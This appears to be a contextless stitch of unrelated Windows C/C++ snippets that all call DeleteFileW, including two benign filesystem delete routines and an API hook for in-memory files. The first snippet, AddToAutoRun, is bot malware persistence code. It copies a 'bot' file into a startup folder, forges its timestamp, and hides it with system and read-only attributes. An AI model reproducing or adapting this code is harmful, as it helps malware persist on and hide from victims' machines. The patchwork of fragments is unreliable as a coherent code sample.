void AddToAutoRun( WCHAR *TempFileName ) { if ( pGetFileAttributesW( TempFileName ) != 0 ) { WCHAR *BotPath = GetShellFoldersKey( 1 ); if ( BotPath == NULL ) { return; } plstrcatW( BotPath, BOT_FILE_NAME ); pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_NORMAL ); pCopyFileW( TempFileName, BotPath, FALSE ); SetFakeFileDateTime( BotPath ); pSetFileAttributesW( BotPath, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_READONLY ); pDeleteFileW( TempFileName ); MemFree( BotPath ); } return; }
static int doPlatformDelete(LPWSTR wpath) { /* If filename is a folder */ if (pGetFileAttributesW(wpath) & FILE_ATTRIBUTE_DIRECTORY) { BAIL_IF_MACRO(!pRemoveDirectoryW(wpath), winApiStrError(), 0); } /* if */ else { BAIL_IF_MACRO(!pDeleteFileW(wpath), winApiStrError(), 0); } /* else */ return(1); /* if you made it here, it worked. */ } /* doPlatformDelete */
static int doPlatformDelete(LPWSTR wpath) { /* If filename is a folder */ int isdir = 0; //if (pGetFileAttributesW(wpath) & FILE_ATTRIBUTE_DIRECTORY) WIN32_FILE_ATTRIBUTE_DATA file_info; const BOOL res = GetFileAttributesExW(wpath, GetFileExInfoStandard, &file_info); if (res) { isdir = (file_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY); } if (isdir) { BAIL_IF_MACRO(!pRemoveDirectoryW(wpath), winApiStrError(), 0); } /* if */ else { BAIL_IF_MACRO(!pDeleteFileW(wpath), winApiStrError(), 0); } /* else */ return(1); /* if you made it here, it worked. */ } /* doPlatformDelete */
BOOL WINAPI MyDeleteFileW( LPCWSTR lpFileName ) { CString strFileName; strFileName = lpFileName; strFileName.MakeLower(); CMemFileObject *pMemFileObject = NULL; FMemRecord.GetRecordData(strFileName,&pMemFileObject); if (pMemFileObject) { if ( pMemFileObject->CanDel() ) { #if defined(DEBUG) || defined(_DEBUG) CString strMsgOut; strMsgOut.Format(L"删除内存文件 Path:%s\n",pMemFileObject->GetFileName()); OutputDebugStringW(strMsgOut); #endif FMemRecord.DelRecord(strFileName,NULL); delete pMemFileObject; } else { #if defined(DEBUG) || defined(_DEBUG) CString strMsgOut; strMsgOut.Format(L"****异常 删除内存文件 Path:%s\n",pMemFileObject->GetFileName()); OutputDebugStringW(strMsgOut); #endif return FALSE; } } BOOL TReturn = pDeleteFileW( lpFileName ); return TReturn; };